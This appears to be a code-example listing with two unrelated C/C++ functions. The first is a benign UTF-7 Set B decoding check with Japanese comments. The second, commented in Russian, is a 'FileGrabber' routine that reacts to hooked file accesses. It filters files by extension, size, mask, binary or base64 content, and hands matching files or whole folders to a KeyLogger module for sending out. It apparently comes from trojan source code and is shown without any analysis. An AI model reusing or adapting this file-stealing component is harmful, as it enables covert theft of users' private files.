예제 #1
0
/*!
	UTF-7 セットBの文字列か

	@return セットB文字列の長さ

	@param[out] ppNextChar 次のブロック(UTF-7セットD部分)の先頭文字のポインタが格納される(文字'-'を飛ばす)

	@note この関数の前に CheckUtf7DPart() が実行される必要がある。
*/
int CheckUtf7BPart( const char *pS, const int nLen, char **ppNextChar, bool *pbError, const int nOption )
{
	const char *pr, *pr_end;
	bool berror_found, bminus_found;
	int nchecklen;

	wchar_t* pdata;
	int ndatalen, nret;
	ECharSet echarset;
	CMemory cmbuffer;


	if( nLen < 1 ){
		if( pbError ){
			*pbError = false;
		}
		*ppNextChar = const_cast<char*>( pS );
		return 0;
	}

	berror_found = false;
	bminus_found = false;
	pr = pS;
	pr_end = pS + nLen;

	for( ; pr < pr_end; ++pr ){
		// セットBの文字でなくなるまでループ
		if( !IsBase64(*pr) ){
			if( *pr == '-' ){
				bminus_found= true;
			}else{
				bminus_found = false;
			}
			break;
		}
	}

	nchecklen = pr - pS;

	// 保護コード
	if( nchecklen < 1 ){
		nchecklen = 0;
	}


	/*
	◆ デコード後のデータ長の確認

	調査してきたデータ長 nchecklen(= pr - pS) を8で割ってみる.
	その余りの値から考えられるビット列は…

	             |----------------------------- Base64 表現 --------------------------------------------|
	             第1バイト  第2バイト  第3バイト  第4バイト  第5バイト  第6バイト  第7バイト  第8バイト
	残り1文字   00xx xxxx  00xx xxxx  00xx xx00     ---        ---        ---        ---        ---
	残り2文字   00xx xxxx  00xx xxxx  00xx xxxx  00xx xxxx  00xx xxxx  00xx 0000     ---        ---
	残り3文字   00xx xxxx  00xx xxxx  00xx xxxx  00xx xxxx  00xx xxxx  00xx xxxx  00xx xxxx  00xx xxxx

	上記3通りのいづれにも当てはまらない場合は全データを落とす(不正バイトとする).
	*/
	const char *pr_ = pr - 1;
	switch( nchecklen % 8 ){
	case 0:
		break;
	case 3:
		if( Base64ToVal(pr_[0]) & 0x03 ){
			berror_found = true;
		}
		break;
	case 6:
		if( Base64ToVal(pr_[0]) & 0x0f ){
			berror_found = true;
		}
		break;
	case 8:
		// nchecklen == 0 の場合
		break;
	default:
		berror_found = true;
	}

	if( UC_LOOSE == (nOption & UC_LOOSE) ){
		goto EndFunc;
	}

	// UTF-7文字列 "+-" のチェック

	if( pr < pr_end && (nchecklen < 1 && bminus_found != true) ){
		// 読み取りポインタがデータの終端を指していなくて
		// 確認できた Set B 文字列の長さがゼロの場合は、
		// 必ず終端文字 '-' が存在していることを確認する。
		berror_found = true;
	}

	// 実際にデコードして内容を確認する。

	if( berror_found == true || nchecklen < 1 ){
		goto EndFunc;
	}

	cmbuffer.AllocBuffer( nchecklen );
	pdata = reinterpret_cast<wchar_t*>( cmbuffer.GetRawPtr() );
	if( pdata == NULL ){
		goto EndFunc;
	}
	ndatalen = _DecodeBase64(pS, nchecklen, reinterpret_cast<char*>(pdata)) / sizeof(wchar_t);
	CMemory::SwapHLByte( reinterpret_cast<char*>(pdata), ndatalen*sizeof(wchar_t) );
	for( int i = 0; i < ndatalen; i += nret ){
		nret = CheckUtf16leChar( &pdata[i], ndatalen - i, &echarset, nOption & UC_NONCHARACTER );
		if( echarset == CHARSET_BINARY ){
			berror_found = true;
			goto EndFunc;
		}
		if( nret == 1 && IsUtf7SetD(pdata[i]) ){
			berror_found = true;
			goto EndFunc;
		}
	}

EndFunc:;

	if( pbError ){
		*pbError = berror_found;
	}

	if( (berror_found == false || UC_LOOSE == (nOption & UC_LOOSE)) && (pr < pr_end && bminus_found == true) ){
		// '-' をスキップ。
		*ppNextChar = const_cast<char*>(pr) + 1;
	}else{
		*ppNextChar = const_cast<char*>(pr);
	}

	return nchecklen;
}
예제 #2
0
//Проверяет каждого получателя и отсылаем им оповещения о срабатывании хука, согласно условиям получателя
void SendEvent( ParamEvent& e )
{
	if( !receivers )
		return;
	int count = List::Count(receivers);
	for( int i = 0; i < count; i++ )
	{
		Receiver* rv = (Receiver*)List::GetItem( receivers, i );
		if( !rv->ignore && e.access & rv->access ) //тип доступа
		{
			int send = 0; //слать событие (>0) или нет (=0)
			int extFilter = FilterExt( e, rv );
			if( extFilter > 0 ) //фильтер сработал
			{
				if( extFilter == 2 ) //файл нужного нам расширения
				{
					if( rv->aw & LOADFILE ) //нужно загрузить
						LoadFile(e);
					send = 1;
				}
			}
			else
			{
				DWORD h;
 				e.szData = (DWORD)pGetFileSize( e.file, &h );
				//подходит ли размер
				if( e.szData >= rv->minSize && (e.szData <= rv->maxSize || rv->maxSize < 0))
				{	
					if( rv->maska || rv->aw & FILEISBIN || rv->ignoreBeg[0][0] )
					{
						if( LoadFile(e) )
						{
							if( !IsFormatBeg( e, rv ) ) //файл не игнорируемого формата
							{
								//если есть какой-то из фильтров, то сообщаем только тогда когда есть реакция на один из них
								bool filters = false; //проходил ли через какой-то фильтер
								for(;;)
								{
									//проверяем маску
									if( rv->maska )
									{
										filters = true;
										if( WildCmp( (char*)e.data, rv->maska ) )
										{
											send = 2; break;
										}
									}
	
									if( rv->aw & FILEISBIN )
									{
										filters = true;
										if( IsBin( (BYTE*)e.data, e.szData ) )
										{
											send = 3; break;
										}
									}
		
									if( rv->aw & FILEISBASE64 )
									{
										filters = true;
										if( IsBase64( (BYTE*)e.data, e.szData ) )
										{
											send = 4; break;
										}
									}
									if( filters ) send = 0; //если ни один из фильтров не сработал, то сообщение не шлем
									break;
								}
							}	
						}
					}
					else
					{
						if( rv->aw & LOADFILE ) //нужно загрузить
							LoadFile(e);
						send = 5; //нужно оповещать о файлах определенного размера
					}
				}
			}
			if( rv->FuncReceiver && send > 0 )
			{
				e.nameSend[0] = 0;
				if( e.unicode )
				{
					DBG("FileGrabberW", "Отреагировали на файл '%ls'(%d), size: %d", e.fileNameW, send, e.szData );
					e.fileName = WSTR::ToAnsi( e.fileNameW, 0 );
				}
				else
				{
					DBG("FileGrabberA", "Отреагировали на файл '%s'(%d), size: %d", e.fileNameA, send, e.szData );
					e.fileName = (char*)e.fileNameA;
				}

				e.shortName = File::ExtractFileNameA( e.fileName, false );
				//ищем расширение
				e.extFile = 0;
				const char* p = STR::ScanEnd( (char*)e.shortName, '.' ); 
				if( p ) e.extFile = p + 1; 

				int res = rv->FuncReceiver(&e);

				if( res & SENDFILE ) //если возвращает SENDFILE, то отправляем содержимое
				{
					if( e.data )
					{
						const char* nameSend = "FileGrabber";
						if( res & CURRNAMEFILE ) //извлекаем имя из полного имени файла
							nameSend = e.shortName;
						else
							if( res & CURRFULLNAMEFILE ) //имя файла с полными путями
								nameSend = e.fileName;
							else
								if( e.nameSend[0] ) //имя передал получатель
									nameSend = e.nameSend;
						DBG( "FileGrabber", "Отправили файл '%s' под именем '%s'", e.fileName, nameSend );
						KeyLogger::AddFile( 0, (char*)nameSend, e.data, e.szData );
					}
				}
				else 
					if( res & SENDFOLDER )
					{
						pPathRemoveFileSpecA(e.fileName);
						//добавляем в конце слеш, так функция PathRemoveFileSpec его убирает
						int sz = m_lstrlen(e.fileName);
						if( e.fileName[sz - 1] != '\\' )
						{
							e.fileName[sz] = '\\';
							e.fileName[sz + 1] = 0;
							sz++;
						}
						DBG( "FileGrabber", "Отправляем папку '%s' под именем '%s'", e.fileName, e.nameSend );
						int currState = stateGrabber;
						stateGrabber |= IGNOREHOOK; //отключаем граббер
						KeyLogger::AddDirectory( e.fileName, e.nameSend );
						stateGrabber = currState; //восстанавливаем состояние
					}
				if( res & STOPRECEIVER )
					rv->ignore = true;
				if( e.fileName != e.fileNameA ) //освобождаем память, если была перекодировка
					STR::Free(e.fileName);
			}
		}
	}
	MemFree(e.data);
	e.data = 0;
}